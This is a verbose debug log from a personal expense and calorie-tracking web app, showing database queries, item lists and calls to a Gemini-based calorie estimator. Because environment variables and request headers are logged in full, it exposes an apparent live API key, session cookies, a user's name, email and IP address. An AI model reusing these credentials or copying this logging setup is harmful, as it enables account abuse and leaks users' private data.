    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '157.48.252.221',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-15T16:14:22.742Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T16:14:22.742Z server-connect:app Executing action step identify
2025-12-15T16:14:22.742Z server-connect:app options: { provider: 'security' }
2025-12-15T16:14:22.742Z server-connect:output identity: 1
2025-12-15T16:14:22.743Z server-connect:app Executing action step restrict
2025-12-15T16:14:22.743Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T16:14:22.743Z server-connect:output restrict: undefined
2025-12-15T16:14:22.743Z server-connect:app Executing action step single
2025-12-15T16:14:22.743Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T16:14:22.743Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T16:14:22.746Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-15T16:14:22.749Z server-connect:app Executing action step identify
2025-12-15T16:14:22.749Z server-connect:app options: { provider: 'security' }
2025-12-15T16:14:22.749Z server-connect:output identity: 1
2025-12-15T16:14:22.749Z server-connect:app Executing action step restrict
2025-12-15T16:14:22.749Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T16:14:22.750Z server-connect:output restrict: undefined
2025-12-15T16:14:22.750Z server-connect:app Executing action step select
2025-12-15T16:14:22.750Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T16:14:22.755Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T16:14:25.732Z server-connect:router Serving templateView /calorie-tracker
2025-12-15T16:14:25.733Z server-connect:app Executing action step identify
2025-12-15T16:14:25.733Z server-connect:app options: { provider: 'security' }
2025-12-15T16:14:25.733Z server-connect:output identity: 1
2025-12-15T16:14:25.733Z server-connect:app Executing action step restrict
2025-12-15T16:14:25.733Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T16:14:25.734Z server-connect:output restrict: undefined
2025-12-15T16:14:25.734Z server-connect:router Render template calorie-tracker
2025-12-15T16:14:25.734Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '157.48.252.221',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.252.221',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"2f72-tArYNHOgADdpOzGg5tUkcENDfOQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '157.48.252.221',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-15T16:14:25.973Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T16:14:25.973Z server-connect:app Executing action step identify
2025-12-15T16:14:25.973Z server-connect:app options: { provider: 'security' }
2025-12-15T16:14:25.973Z server-connect:output identity: 1
2025-12-15T16:14:25.973Z server-connect:app Executing action step restrict
2025-12-15T16:14:25.973Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T16:14:25.974Z server-connect:output restrict: undefined
2025-12-15T16:14:25.974Z server-connect:app Executing action step single
2025-12-15T16:14:25.974Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T16:14:25.976Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T16:14:25.976Z server-connect:app Executing action step select
2025-12-15T16:14:25.976Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T16:14:25.978Z server-connect:output item_list: [
  {
    id: 390,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 1,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'N/A (supplement with specific purpose, generally low calorie)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
  },
  {
    id: 391,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries - lower sugar and calories),Apple,Orange',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
  },
  {
    id: 392,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat Flatbread)',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 72,
    fat_gm: 4,
    quantity: '4 pieces (approx 200g cooked weight)',
    replacements: 'Brown rice (complex carbs),Quinoa (complex carbs, higher protein),Oats (complex carbs, good fiber)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
  },
  {
    id: 393,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Aalo Sabji (Potato Curry)',
    calories: 280,
    protein_gm: 4,
    carbs_gm: 40,
    fat_gm: 15,
    quantity: '1 serving (approx 200g)',
    replacements: 'Mixed vegetable sabji (more fiber, fewer calories from potatoes),Dal (lentil curry - higher protein, lower fat),Paneer sabji (for higher protein intake)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
  },
  {
    id: 394,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Gulab Jamun',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 30,
    fat_gm: 8,
    quantity: '1 piece (approx 40g)',
    replacements: 'Fresh fruit (e.g., berries, apple),Small piece of dark chocolate (70%+ cocoa),Greek yogurt with a touch of honey (higher protein, lower sugar)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 3,
    skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
  },
  {
    id: 395,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Buttermilk',
    calories: 76,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 2,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Plain water,Unsweetened herbal tea,Diluted yogurt (without added sugar)',
    created_at: '2025-12-15T00:10:59.000Z',
    skip_level: 1,
    skip_reason: "Buttermilk (Chaas) is an excellent source of hydration, probiotics, and lean protein, especially if made from skimmed or low-fat curd. It's low in calories and supports digestion, which is beneficial for muscle development and overall gut health for someone with a desk job and active lifestyle."
  },
  {
    id: 396,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 120,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 cup (240ml, assuming toned milk)',
    replacements: 'Black tea (zero calories),Green tea (zero calories),Herbal tea (zero calories),Tea with unsweetened almond milk (lower calories, often lower protein)',
    created_at: '2025-12-15T05:27:34.000Z',
    skip_level: 1,
    skip_reason: 'Provides protein, calcium, and hydration without added sugar. The protein content from milk can be beneficial for muscle development. Opting for toned/low-fat milk further manages fat intake.'
  },
  {
    id: 397,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Vada Pav',
    calories: 600,
    protein_gm: 16,
    carbs_gm: 70,
    fat_gm: 30,
    quantity: '2 pieces',
    replacements: 'Whole wheat paneer or chicken sandwich,Moong dal cheela with vegetables,Sprouts salad with boiled eggs',
    created_at: '2025-12-15T07:09:56.000Z',
    skip_level: 3,
    skip_reason: 'Vada Pav is a deep-fried item made with refined flour (pav), making it high in unhealthy fats and simple carbohydrates. While it provides calories, it offers limited nutritional value (micronutrients) and can contribute to unwanted fat gain, which is counterproductive for muscle development when cleaner fuel sources are available.'
  },
  {
    id: 398,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Max Protein RiteBite Bar',
    calories: 145,
    protein_gm: 10,
    carbs_gm: 15,
    fat_gm: 5,
    quantity: '1 bar',
    replacements: 'Boiled egg (approx. 70-80 cal, 6g protein),Small serving (100g) of Greek yogurt (approx. 60-100 cal, 10-15g protein),Handful of almonds (approx. 10-12 pieces, 80-100 cal, 3-4g protein)',
    created_at: '2025-12-15T07:09:56.000Z',
    skip_level: 1,
    skip_reason: 'This protein bar is a convenient source of protein and provides a quick energy boost, which is beneficial for muscle repair and growth, especially around your gym sessions. While processed, it serves its purpose well for a muscle development goal.'
  }
]
2025-12-15T16:14:25.978Z server-connect:app Executing action step setvalue
2025-12-15T16:14:25.978Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T16:14:25.978Z server-connect:output var_total: 1886
2025-12-15T16:14:25.978Z server-connect:app Executing action step setvalue
2025-12-15T16:14:25.978Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T16:14:25.978Z server-connect:output var_consumed: 79
2025-12-15T16:14:25.978Z server-connect:app Executing action step setvalue
2025-12-15T16:14:25.978Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T16:14:25.978Z server-connect:output var_deficit: 514
2025-12-15T16:14:25.978Z server-connect:app Executing action step custom
2025-12-15T16:14:25.978Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T16:14:25.980Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '1886',
    surplus_or_deficit: '514',
    status_flag: 1
  }
]
2025-12-15T16:14:48.414Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-15T16:14:48.414Z server-connect:app Executing action step identify
2025-12-15T16:14:48.414Z server-connect:app options: { provider: 'security' }
2025-12-15T16:14:48.414Z server-connect:output identity: 1
2025-12-15T16:14:48.414Z server-connect:app Executing action step restrict
2025-12-15T16:14:48.414Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T16:14:48.415Z server-connect:output restrict: undefined
2025-12-15T16:14:48.415Z server-connect:app Executing action step processWithGemini
2025-12-15T16:14:48.415Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-15T16:15:10.509Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Idli Sambhar',
      quantity: '4 Idli, with Sambhar (approx. 2 servings of sambhar)',
      total_calories: 380,
      protein: 16,
      carbs: 64,
      fat: 6,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of complex carbohydrates for sustained energy to fuel workouts, and provides protein from the dal in sambhar. Offers fiber and essential micronutrients. Beneficial for muscle development when consumed in appropriate portions as part of a balanced diet.'
    },
    {
      food_name: 'Milk (Full Fat)',
      quantity: '1 glass (approx 200ml)',
      total_calories: 130,
